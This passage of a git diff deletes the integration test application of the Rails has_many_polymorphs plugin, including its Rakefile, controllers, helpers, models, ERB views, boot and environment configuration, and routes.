environment. -Passing an argument will specify a different environment, like script/console production. - -To reload your controllers and models after launching the console run reload! - -To reload your controllers and models after launching the console run reload! - - - -== Description of contents - -app - Holds all the code that's specific to this particular application. - -app/controllers - Holds controllers that should be named like weblogs_controller.rb for - automated URL mapping. All controllers should descend from ApplicationController - which itself descends from ActionController::Base. - -app/models - Holds models that should be named like post.rb. - Most models will descend from ActiveRecord::Base. - -app/views - Holds the template files for the view that should be named like - weblogs/index.rhtml for the WeblogsController#index action. All views use eRuby - syntax. - -app/views/layouts - Holds the template files for layouts to be used with views. This models the common - header/footer method of wrapping views. In your views, define a layout using the - layout :default and create a file named default.rhtml. Inside default.rhtml, - call <% yield %> to render the view using this layout. - -app/helpers - Holds view helpers that should be named like weblogs_helper.rb. These are generated - for you automatically when using script/generate for controllers. Helpers can be used to - wrap functionality for your views into methods. - -config - Configuration files for the Rails environment, the routing map, the database, and other dependencies. - -components - Self-contained mini-applications that can bundle together controllers, models, and views. - -db - Contains the database schema in schema.rb. db/migrate contains all - the sequence of Migrations for your schema. - -doc - This directory is where your application documentation will be stored when generated - using rake doc:app - -lib - Application specific libraries. Basically, any kind of custom code that doesn't - belong under controllers, models, or helpers. This directory is in the load path. - -public - The directory available for the web server. Contains subdirectories for images, stylesheets, - and javascripts. Also contains the dispatchers and the default HTML files. This should be - set as the DOCUMENT_ROOT of your web server. - -script - Helper scripts for automation and generation. - -test - Unit and functional tests along with fixtures. When using the script/generate scripts, template - test files will be generated for you and placed in this directory. - -vendor - External libraries that the application depends on. Also includes the plugins subdirectory. - This directory is in the load path. diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/Rakefile b/vendor/plugins/has_many_polymorphs/test/integration/app/Rakefile deleted file mode 100644 index 2573c13c..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/Rakefile +++ /dev/null @@ -1,19 +0,0 @@ -# Add your own tasks in files placed in lib/tasks ending in .rake, -# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. - -require(File.join(File.dirname(__FILE__), 'config', 'boot')) - -require 'rake' -require 'rake/testtask' -require 'rake/rdoctask' - -require 'tasks/rails' - -namespace :test do - desc "a new rake task to include generators" - Rake::TestTask.new(:generators) do |t| - t.libs << 'lib' - t.test_files = FileList['test/generators/*_test.rb'] - t.verbose = true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application.rb deleted file mode 100644 index 057f4f7e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application.rb +++ /dev/null @@ -1,7 +0,0 @@ -# Filters added to this controller apply to all controllers in the application. -# Likewise, all the methods added will be available for all controllers. - -class ApplicationController < ActionController::Base - # Pick a unique cookie name to distinguish our session data from others' - session :session_key => '_testapp_session_id' -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application_controller.rb deleted file mode 100644 index 057f4f7e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application_controller.rb +++ /dev/null @@ -1,7 +0,0 @@ -# Filters added to this controller apply to all controllers in the application. -# Likewise, all the methods added will be available for all controllers. - -class ApplicationController < ActionController::Base - # Pick a unique cookie name to distinguish our session data from others' - session :session_key => '_testapp_session_id' -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/bones_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/bones_controller.rb deleted file mode 100644 index 29bfe0c0..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/bones_controller.rb +++ /dev/null @@ -1,5 +0,0 @@ -class BonesController < ApplicationController - def index - @bones = Bone.find(:all) - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/addresses_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/addresses_helper.rb deleted file mode 100644 index 5f4dc138..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/addresses_helper.rb +++ /dev/null @@ -1,2 +0,0 @@ -module AddressesHelper -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/application_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/application_helper.rb deleted file mode 100644 index 22a7940e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/application_helper.rb +++ /dev/null @@ -1,3 +0,0 @@ -# Methods added to this helper will be available to all templates in the application. -module ApplicationHelper -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/bones_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/bones_helper.rb deleted file mode 100644 index c188f669..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/bones_helper.rb +++ /dev/null @@ -1,2 +0,0 @@ -module BonesHelper -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/sellers_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/sellers_helper.rb deleted file mode 100644 index 4bdecd54..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/sellers_helper.rb +++ /dev/null @@ -1,28 +0,0 @@ -module SellersHelper - - def display_address(seller) - logger.info "Seller Data ====================" - logger.info seller.inspect - logger.info "Seller responds to address " + seller.respond_to?("address").to_s - logger.info "Seller responds to address= " + seller.respond_to?("address=").to_s - # logger.info seller.methods.sort.inspect - logger.info "User Data ====================" - logger.info seller.user.inspect - logger.info "User responds to address " + seller.user.respond_to?("address").to_s - logger.info "User responds to address= " + seller.user.respond_to?("address=").to_s - # logger.info seller.user.methods.sort.inspect - display_address = Array.new - if seller.address - display_address << seller.address.city if seller.address.city - display_address << seller.address.state.abbreviation if seller.address.state && seller.address.state.abbreviation - display_address << seller.address.zip_postal_code if seller.address.zip_postal_code - end - - unless display_address.empty? - "Location: " + display_address.join(", ") - else - "Location: unknown" - end - end - -end \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/states_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/states_helper.rb deleted file mode 100644 index f98bdc7c..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/states_helper.rb +++ /dev/null @@ -1,2 +0,0 @@ -module StatesHelper -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/users_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/users_helper.rb deleted file mode 100644 index 2310a240..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/users_helper.rb +++ /dev/null @@ -1,2 +0,0 @@ -module UsersHelper -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/bone.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/bone.rb deleted file mode 100644 index f9268612..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/bone.rb +++ /dev/null @@ -1,2 +0,0 @@ -class Bone < OrganicSubstance -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent.rb deleted file mode 100644 index 5bc344f7..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent.rb +++ /dev/null @@ -1,2 +0,0 @@ -class DoubleStiParent < ActiveRecord::Base -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent_relationship.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent_relationship.rb deleted file mode 100644 index 10b6255b..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent_relationship.rb +++ /dev/null @@ -1,2 +0,0 @@ -class DoubleStiParentRelationship < ActiveRecord::Base -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/organic_substance.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/organic_substance.rb deleted file mode 100644 index e9a080d9..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/organic_substance.rb +++ /dev/null @@ -1,2 +0,0 @@ -class OrganicSubstance < ActiveRecord::Base -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent.rb deleted file mode 100644 index 5e4410bb..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent.rb +++ /dev/null @@ -1,4 +0,0 @@ - -class SingleStiParent < ActiveRecord::Base - has_many_polymorphs :the_bones, :from => [:bones], :through => :single_sti_parent_relationship -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent_relationship.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent_relationship.rb deleted file mode 100644 index 7f783c15..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent_relationship.rb +++ /dev/null @@ -1,4 +0,0 @@ -class SingleStiParentRelationship < ActiveRecord::Base - belongs_to :single_sti_parent - belongs_to :the_bone, :polymorphic => true -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stick.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stick.rb deleted file mode 100644 index 4992506a..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stick.rb +++ /dev/null @@ -1,2 +0,0 @@ -class Stick < ActiveRecord::Base -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stone.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stone.rb deleted file mode 100644 index 8617396e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/stone.rb +++ /dev/null @@ -1,2 +0,0 @@ -class Stone < ActiveRecord::Base -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/edit.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/edit.html.erb deleted file mode 100644 index 6b6a3894..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/edit.html.erb +++ /dev/null @@ -1,12 +0,0 @@ -

    Editing address

    - -<%= error_messages_for :address %> - -<% form_for(@address) do |f| %> -

    - <%= f.submit "Update" %> -

    -<% end %> - -<%= link_to 'Show', @address %> | -<%= link_to 'Back', addresses_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/index.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/index.html.erb deleted file mode 100644 index 86d0d387..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/index.html.erb +++ /dev/null @@ -1,18 +0,0 @@ -

    Listing addresses

    - - - - - -<% for address in @addresses %> - - - - - -<% end %> -
    <%= link_to 'Show', address %><%= link_to 'Edit', edit_address_path(address) %><%= link_to 'Destroy', address, :confirm => 'Are you sure?', :method => :delete %>
    - -
    - -<%= link_to 'New address', new_address_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/new.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/new.html.erb deleted file mode 100644 index 1fae44cf..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/new.html.erb +++ /dev/null @@ -1,11 +0,0 @@ -

    New address

    - -<%= error_messages_for :address %> - -<% form_for(@address) do |f| %> -

    - <%= f.submit "Create" %> -

    -<% end %> - -<%= link_to 'Back', addresses_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/show.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/show.html.erb deleted file mode 100644 index a75ddbd5..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/addresses/show.html.erb +++ /dev/null @@ -1,3 +0,0 @@ - -<%= link_to 'Edit', edit_address_path(@address) %> | -<%= link_to 'Back', addresses_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/bones/index.rhtml b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/bones/index.rhtml deleted file mode 100644 index 06f1dad3..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/bones/index.rhtml +++ /dev/null @@ -1,5 +0,0 @@ - -

    Bones: index

    -<% @bones.each do |bone| %> -

    ID: <%= bone.id %>

    -<% end %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/addresses.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/addresses.html.erb deleted file mode 100644 index 84583552..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/addresses.html.erb +++ /dev/null @@ -1,17 +0,0 @@ - - - - - - Addresses: <%= controller.action_name %> - <%= stylesheet_link_tag 'scaffold' %> - - - -

    <%= flash[:notice] %>

    - -<%= yield %> - - - diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/sellers.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/sellers.html.erb deleted file mode 100644 index bc08e9be..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/sellers.html.erb +++ /dev/null @@ -1,17 +0,0 @@ - - - - - - Sellers: <%= controller.action_name %> - <%= stylesheet_link_tag 'scaffold' %> - - - -

    <%= flash[:notice] %>

    - -<%= yield %> - - - diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/states.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/states.html.erb deleted file mode 100644 index b2b086fd..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/states.html.erb +++ /dev/null @@ -1,17 +0,0 @@ - - - - - - States: <%= controller.action_name %> - <%= stylesheet_link_tag 'scaffold' %> - - - -

    <%= flash[:notice] %>

    - -<%= yield %> - - - diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/users.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/users.html.erb deleted file mode 100644 index 23757aa6..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/layouts/users.html.erb +++ /dev/null @@ -1,17 +0,0 @@ - - - - - - Users: <%= controller.action_name %> - <%= stylesheet_link_tag 'scaffold' %> - - - -

    <%= flash[:notice] %>

    - -<%= yield %> - - - diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/edit.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/edit.html.erb deleted file mode 100644 index 14c41036..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/edit.html.erb +++ /dev/null @@ -1,12 +0,0 @@ -

    Editing seller

    - -<%= error_messages_for :seller %> - -<% form_for(@seller) do |f| %> -

    - <%= f.submit "Update" %> -

    -<% end %> - -<%= link_to 'Show', @seller %> | -<%= link_to 'Back', sellers_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/index.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/index.html.erb deleted file mode 100644 index 97ef0457..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/index.html.erb +++ /dev/null @@ -1,20 +0,0 @@ -

    Listing sellers

    - - - - - -<% for seller in @sellers %> - - - - - - - -<% end %> -
    <%= h(seller.company_name) %><%= h(display_address(seller)) %><%= link_to 'Show', seller %><%= link_to 'Edit', edit_seller_path(seller) %><%= link_to 'Destroy', seller, :confirm => 'Are you sure?', :method => :delete %>
    - -
    - -<%= link_to 'New seller', new_seller_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/new.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/new.html.erb deleted file mode 100644 index 6814338d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/new.html.erb +++ /dev/null @@ -1,11 +0,0 @@ -

    New seller

    - -<%= error_messages_for :seller %> - -<% form_for(@seller) do |f| %> -

    - <%= f.submit "Create" %> -

    -<% end %> - -<%= link_to 'Back', sellers_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/show.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/show.html.erb deleted file mode 100644 index f21dcfa7..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/sellers/show.html.erb +++ /dev/null @@ -1,3 +0,0 @@ - -<%= link_to 'Edit', edit_seller_path(@seller) %> | -<%= link_to 'Back', sellers_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/edit.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/edit.html.erb deleted file mode 100644 index dc59d08b..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/edit.html.erb +++ /dev/null @@ -1,12 +0,0 @@ -

    Editing state

    - -<%= error_messages_for :state %> - -<% form_for(@state) do |f| %> -

    - <%= f.submit "Update" %> -

    -<% end %> - -<%= link_to 'Show', @state %> | -<%= link_to 'Back', states_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/index.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/index.html.erb deleted file mode 100644 index 07c11ae1..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/index.html.erb +++ /dev/null @@ -1,19 +0,0 @@ -

    Listing states

    - - - - - -<% for state in @states %> - - - - - - -<% end %> -
    <%= state.name %><%= link_to 'Show', state %><%= link_to 'Edit', edit_state_path(state) %><%= link_to 'Destroy', state, :confirm => 'Are you sure?', :method => :delete %>
    - -
    - -<%= link_to 'New state', new_state_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/new.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/new.html.erb deleted file mode 100644 index 5caacd5d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/new.html.erb +++ /dev/null @@ -1,11 +0,0 @@ -

    New state

    - -<%= error_messages_for :state %> - -<% form_for(@state) do |f| %> -

    - <%= f.submit "Create" %> -

    -<% end %> - -<%= link_to 'Back', states_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/show.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/show.html.erb deleted file mode 100644 index ba5c32fb..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/states/show.html.erb +++ /dev/null @@ -1,3 +0,0 @@ - -<%= link_to 'Edit', edit_state_path(@state) %> | -<%= link_to 'Back', states_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/edit.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/edit.html.erb deleted file mode 100644 index b497ec93..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/edit.html.erb +++ /dev/null @@ -1,12 +0,0 @@ -

    Editing user

    - -<%= error_messages_for :user %> - -<% form_for(@user) do |f| %> -

    - <%= f.submit "Update" %> -

    -<% end %> - -<%= link_to 'Show', @user %> | -<%= link_to 'Back', users_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/index.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/index.html.erb deleted file mode 100644 index 6397e64e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/index.html.erb +++ /dev/null @@ -1,22 +0,0 @@ -

    Listing users

    - - - - - -<% for user in @users %> - - - - - - - - - -<% end %> -
    <%= h(user.login) %><%= h(user.address.line_1) %><%= h(user.address.city) %><%= h(user.address.state.name) %><%= link_to 'Show', user %><%= link_to 'Edit', edit_user_path(user) %><%= link_to 'Destroy', user, :confirm => 'Are you sure?', :method => :delete %>
    - -
    - -<%= link_to 'New user', new_user_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/new.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/new.html.erb deleted file mode 100644 index bc76aa6b..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/new.html.erb +++ /dev/null @@ -1,11 +0,0 @@ -

    New user

    - -<%= error_messages_for :user %> - -<% form_for(@user) do |f| %> -

    - <%= f.submit "Create" %> -

    -<% end %> - -<%= link_to 'Back', users_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/show.html.erb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/show.html.erb deleted file mode 100644 index 3109a37d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/views/users/show.html.erb +++ /dev/null @@ -1,3 +0,0 @@ - -<%= link_to 'Edit', edit_user_path(@user) %> | -<%= link_to 'Back', users_path %> diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/boot.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/boot.rb deleted file mode 100644 index cb9a72da..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/boot.rb +++ /dev/null @@ -1,110 +0,0 @@ -# Don't change this file! -# Configure your app in config/environment.rb and config/environments/*.rb - -RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT) - -module Rails - class << self - def boot! - unless booted? - preinitialize - pick_boot.run - end - end - - def booted? - defined? Rails::Initializer - end - - def pick_boot - (vendor_rails? ? VendorBoot : GemBoot).new - end - - def vendor_rails? - File.exist?("#{RAILS_ROOT}/vendor/rails") - end - - def preinitialize - load(preinitializer_path) if File.exists?(preinitializer_path) - end - - def preinitializer_path - "#{RAILS_ROOT}/config/preinitializer.rb" - end - end - - class Boot - def run - load_initializer - Rails::Initializer.run(:set_load_path) - end - end - - class VendorBoot < Boot - def load_initializer - require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer" - end - end - - class GemBoot < Boot - def load_initializer - self.class.load_rubygems - load_rails_gem - require 'initializer' - end - - def load_rails_gem - if version = self.class.gem_version - STDERR.puts "Boot.rb loading version #{version}" - gem 'rails', version - else - STDERR.puts "Boot.rb loading latest available version" - gem 'rails' - end - rescue Gem::LoadError => load_error - $stderr.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.) - exit 1 - end - - class << self - def rubygems_version - Gem::RubyGemsVersion if defined? Gem::RubyGemsVersion - end - - def gem_version - if defined? RAILS_GEM_VERSION - RAILS_GEM_VERSION - elsif ENV.include?('RAILS_GEM_VERSION') - ENV['RAILS_GEM_VERSION'] - else - parse_gem_version(read_environment_rb) - end - end - - def load_rubygems - require 'rubygems' - - unless rubygems_version >= '0.9.4' - $stderr.puts %(Rails requires RubyGems >= 0.9.4 (you have #{rubygems_version}). Please `gem update --system` and try again.) - exit 1 - end - - rescue LoadError - $stderr.puts %(Rails requires RubyGems >= 0.9.4. Please install RubyGems and try again: http://rubygems.rubyforge.org) - exit 1 - end - - def parse_gem_version(text) - $1 if text =~ /^[^#]*RAILS_GEM_VERSION\s*=\s*'([!~<>=]*\s*[\d.]+)'/ - end - - private - def read_environment_rb - File.read("#{RAILS_ROOT}/config/environment.rb") - end - end - end -end - -# All that for this: -Rails.boot! diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/database.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/config/database.yml deleted file mode 100644 index c64a5d89..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/database.yml +++ /dev/null @@ -1,17 +0,0 @@ - -defaults: &defaults - adapter: <%= ENV['DB'] || 'mysql' %> - host: localhost - database: hmp_development - username: root - password: - -development: - <<: *defaults - -test: - <<: *defaults - -production: - <<: *defaults - \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb deleted file mode 100644 index 39f34dee..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb +++ /dev/null @@ -1,19 +0,0 @@ -require File.join(File.dirname(__FILE__), 'boot') -require 'action_controller' - -Rails::Initializer.run do |config| - - if ActionController::Base.respond_to? 'session=' - config.action_controller.session = {:session_key => '_app_session', :secret => '22cde4d5c1a61ba69a81795322cde4d5c1a61ba69a817953'} - end - - config.load_paths << "#{RAILS_ROOT}/app/models/person" # moduleless model path - - config.after_initialize do - config.has_many_polymorphs_options['requirements'] << "#{RAILS_ROOT}/lib/library_model" - end -end - -# Dependencies.log_activity = true - -ENV['RAILS_ASSET_ID'] = Time.now.to_i.to_s diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb.canonical b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb.canonical deleted file mode 100644 index 39f34dee..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environment.rb.canonical +++ /dev/null @@ -1,19 +0,0 @@ -require File.join(File.dirname(__FILE__), 'boot') -require 'action_controller' - -Rails::Initializer.run do |config| - - if ActionController::Base.respond_to? 'session=' - config.action_controller.session = {:session_key => '_app_session', :secret => '22cde4d5c1a61ba69a81795322cde4d5c1a61ba69a817953'} - end - - config.load_paths << "#{RAILS_ROOT}/app/models/person" # moduleless model path - - config.after_initialize do - config.has_many_polymorphs_options['requirements'] << "#{RAILS_ROOT}/lib/library_model" - end -end - -# Dependencies.log_activity = true - -ENV['RAILS_ASSET_ID'] = Time.now.to_i.to_s diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb deleted file mode 100644 index 54ae4ed2..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb +++ /dev/null @@ -1,9 +0,0 @@ - -config.cache_classes = ENV['PRODUCTION'] -config.whiny_nils = true -config.action_controller.consider_all_requests_local = !ENV['PRODUCTION'] -config.action_controller.perform_caching = ENV['PRODUCTION'] -# The following has been deprecated in Rails 2.1 and removed in 2.2 -config.action_view.cache_template_extensions = ENV['PRODUCTION'] if Rails::VERSION::MAJOR < 2 or Rails::VERSION::MAJOR == 2 && Rails::VERSION::MINOR < 1 -config.action_view.debug_rjs = !ENV['PRODUCTION'] -config.action_mailer.raise_delivery_errors = false diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/production.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/production.rb deleted file mode 100644 index cb295b83..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/production.rb +++ /dev/null @@ -1,18 +0,0 @@ -# Settings specified here will take precedence over those in config/environment.rb - -# The production environment is meant for finished, "live" apps. -# Code is not reloaded between requests -config.cache_classes = true - -# Use a different logger for distributed setups -# config.logger = SyslogLogger.new - -# Full error reports are disabled and caching is turned on -config.action_controller.consider_all_requests_local = false -config.action_controller.perform_caching = true - -# Enable serving of images, stylesheets, and javascripts from an asset server -# config.action_controller.asset_host = "http://assets.example.com" - -# Disable delivery errors, bad email addresses will be ignored -# config.action_mailer.raise_delivery_errors = false diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/test.rb deleted file mode 100644 index f0689b92..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/test.rb +++ /dev/null @@ -1,19 +0,0 @@ -# Settings specified here will take precedence over those in config/environment.rb - -# The test environment is used exclusively to run your application's -# test suite. You never need to work with it otherwise. Remember that -# your test database is "scratch space" for the test suite and is wiped -# and recreated between test runs. Don't rely on the data there! -config.cache_classes = true - -# Log error messages when you accidentally call methods on nil. -config.whiny_nils = true - -# Show full error reports and disable caching -config.action_controller.consider_all_requests_local = true -config.action_controller.perform_caching = false - -# Tell ActionMailer not to deliver emails to the real world. -# The :test delivery method accumulates sent emails in the -# ActionMailer::Base.deliveries array. -config.action_mailer.delivery_method = :test \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/locomotive.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/config/locomotive.yml deleted file mode 100644 index 01d79773..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/locomotive.yml +++ /dev/null @@ -1,6 +0,0 @@ ---- -mode: development -runs_at_launch: 0 -identifier: testapp -port: 3005 -bundle: /Applications/Locomotive2/Bundles/rmagickRailsMar2007_i386.locobundle \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/routes.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/routes.rb deleted file mode 100644 index b83b6f4d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/routes.rb +++ /dev/null @@ -1,33 +0,0 @@ -ActionController::Routing::Routes.draw do |map| - map.resources :states - - map.resources :states - - map.resources :addresses - - map.resources :sellers - - map.resources :users - - # The priority is based upon order of creation: first created -> highest priority. - - # Sample of regular route: - # map.connect 'products/:id', :controller => 'catalog', :action => 'view' - # Keep in mind you can assign values other than :controller and :action - - # Sample of named route: - # map.purchase 'products/:id/purchase', :controller => 'catalog', :action => 'purchase' - # This route can be invoked with purchase_url(:id => product.id) - - # You can have the root of your site routed by hooking up '' - # -- just remember to delete public/index.html. - # map.connect '', :controller => "welcome" - - # Allow downloading Web Service WSDL as a file with an extension - # instead of a file named 'wsdl' - map.connect 